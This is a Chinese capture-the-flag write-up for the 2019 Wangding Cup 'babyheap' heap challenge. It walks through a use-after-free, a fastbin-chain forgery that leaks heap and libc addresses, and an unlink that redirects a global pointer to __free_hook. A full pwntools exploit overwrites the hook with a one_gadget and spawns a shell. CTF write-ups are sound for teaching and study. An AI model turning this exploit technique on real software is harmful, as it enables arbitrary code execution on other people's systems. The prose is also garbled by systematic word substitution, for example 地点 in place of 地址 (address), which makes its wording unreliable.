2019年 网鼎杯babyheap 题解（堆漏洞的综合利用）

手游

正在备战网鼎杯，做了一下去年第一场的pwn，babyheap这题
没有特别难，但是涉及到fastbin_attack  UAF  unlink的利用 综合性较强，比较磨练堆漏洞基础
调试环境:
vm 虚拟机 ubuntu16.04

gdb-peda(我习惯用peda pwndbg也可以)
IDA pro 7.0
python pwntools

babyheap.rar

由于是当地调试 所以就不给出libc了，我用的是ubuntu16.04自带的libc-2.23.so

检查下步伐的安全性（checksec easyheap）

下面解释一下安全机制

Arch:     amd64-64-little
    RELRO:    Full RELRO   #got表保护开启，没有got写权限
    Stack:    Canary found #canary保护开启（常用于防止栈溢出）
    NX:       NX enabled #堆栈不可执行保护开启（防止写入的shellcode执行）
    PIE:      No PIE (0x400000) # 地点随机化未开启 (代码段的地点随机化)
此中 got表写入保护开启，这一段说明。我们不能通太过配堆块 或者unlink写入等方法直接攻击got表（这也在一定程度上增大了难度）

ida分析（f5查看伪代码）

比较常见的菜单选择，先分析 alloc（）


申请的堆块大小是固定的malloc(0x20) 限定了申请堆块的大小,申请到的堆块地点统一放到一个全局数组内里，地点为0x602060
看一下edit（）

读取输入时限定了大小为0x20所以不存在堆溢出漏洞（不能直接恶意篡改相邻堆块的fd bk指针）
看一下show（）

输出方式为puts(ptr<i>) 传入全局数组的指针
再看一下Free（）

存在明显的UAF漏洞 ，free掉指针后并没有设置为NULL（free掉之后可以对堆块进行读写操纵，这也意味着可以在free掉之后读取fd bk指针 也可以伪造fastbin链）
由于本题涉及到大量关于堆数据结构，堆分配，堆合并等相关基础知识，这里给出几个ctf pwn heap 的学习资料链接，在解题时以做对照
https://wiki.x10sec.org/pwn/heap/heap_implementation_details/   ctfwiki

大致解题思路
1.利用uaf泄漏堆地点
alloc(0)#
alloc(1)#
free(1) # topchunk->1

free(0) #topchunk->0->1
此时，chun0k的fd指向chunk1的起始地点
show(0)打印出chunk1的地点
heap_base=chunk1_addr-0x30 #一个堆块大小为0x30



现在我们获取到了堆的基地点

2.伪造fastbin链修改堆块的size位，伪造一个unsorted bin ,free 后unsorted bin的fd会指向main_arena 再通过show()泄漏出libc基地点
（这一步实在就开始有点晕了，但是慢慢理解应该没问题，或许这就是pwn的魅力吧）
edit(0, p64(heap_base_addr + 0x20) + p64(0) + p64(0) + p64(0x31))# heap的 fd 指针指向heap+20 再次分配时会分配时会把chunk1的size位分配出
#pause()
alloc(6, p64(0) + p64(0xa1) + '\n')#chunk 0
#pause()
alloc(7, p64(0) + p64(0xa1) + '\n')#chunk 1
#pause()

free(1)


show(1)#leak_libc_addr
# addr-0x3cb20-88=addr-0x3c4b78
tips: main_arena计算方法
ida加载相应版本libc


3. unlink 修改全局数组ptr的指针，改为free hook
直接附上exp因为unlink 是从第一部开始铺垫的
from pwn import *
context.log_level=&quot;debug&quot;
p=process(&quot;./babyheap&quot;)
libc=(&quot;./libc-2.23.so&quot;)
onegadget=0x4526a
free_hook=0x3c67a8
malloc_hook=0x3c4b10
def alloc(index,content):
    p.recvuntil(&quot;Choice:&quot;)
    p.sendline(&quot;1&quot;)
    p.recvuntil(&quot;Index:&quot;)  
    p.sendline(str(index))
    p.recvuntil(&quot;Content:&quot;)
    p.send(str(content))

def edit(idx,content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil(&quot;Index:&quot;)
    p.sendline(str(idx))
    p.recvuntil(&quot;Content:&quot;)
    p.send(str(content))
   
def free(idx):
    p.recvuntil('Choice:')
    p.sendline('4')
    p.recvuntil(&quot;Index:&quot;)
    p.sendline(str(idx))  
   
def show(idx):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil(&quot;Index:&quot;)
    p.sendline(str(idx))   

alloc(0,&quot;aaaaaaaa\n&quot;)#0x0
alloc(1,&quot;bbbbbbbb\n&quot;)#0x30
alloc(2,&quot;cccccccc\n&quot;)#0x60
alloc(3,&quot;dddddddd\n&quot;)#0x90
#alloc(4,&quot;eeeeeeee\n&quot;)#
#alloc(5,&quot;ffffffff\n&quot;)
                #P=0x602080           #FD =0x602068          #BK=0x602070
alloc(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))#0xc0 #0xd0 from 0xd0 must be a fake chunk
# *(0x602080)=0x602070 fd->bk=BK   *(0x602080)=0x602068  bk->fd=FD
#target_addr=0x602080 its value has been changed twice 1:fd->bk=BK 2:bk->fd=FD
#check: BK->fd==P && FD->bk==P
#       0x602070+0x10=P 0x602068+0x18=P check pass
alloc(5, p64(0x30) + p64(0x30) + '\n')#0xf0 0x100 must be a fake chunk
#pause()
free(1)#top_chunk ->1
free(0)#top_chunk ->0->1
#chunk0_fd->chunk1
#pause()
show(0)# leak heap_addr(chunk1_addr)
heap_addr=u32(p.recv(4))
heap_base_addr=heap_addr-0x30
print hex(heap_base_addr)
#pause()
edit(0, p64(heap_base_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
#pause()
alloc(6, p64(0) + p64(0xa1) + '\n')#chunk 0
#pause()
alloc(7, p64(0) + p64(0xa1) + '\n')#chunk 1
#pause()
free(1)
show(1)#leak_libc_addr
# addr-0x3cb20-88=addr-0x3c4b78
libc_base = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
print hex(libc_base)
pause()
edit(4,p64(libc_base + 0x3c67a8) + '\n')#free_hook
#pause()

#堆块1的指针指向free_hook
#下一步直接修改free_hook地点为one_gadget即可

edit(1, p64(libc_base + onegadget)[:-1] + '\n')#
free(1)
p.interactive()


大功告成，这个题还是挺复杂的。

感觉堆的基础知识还是不够得去补一补



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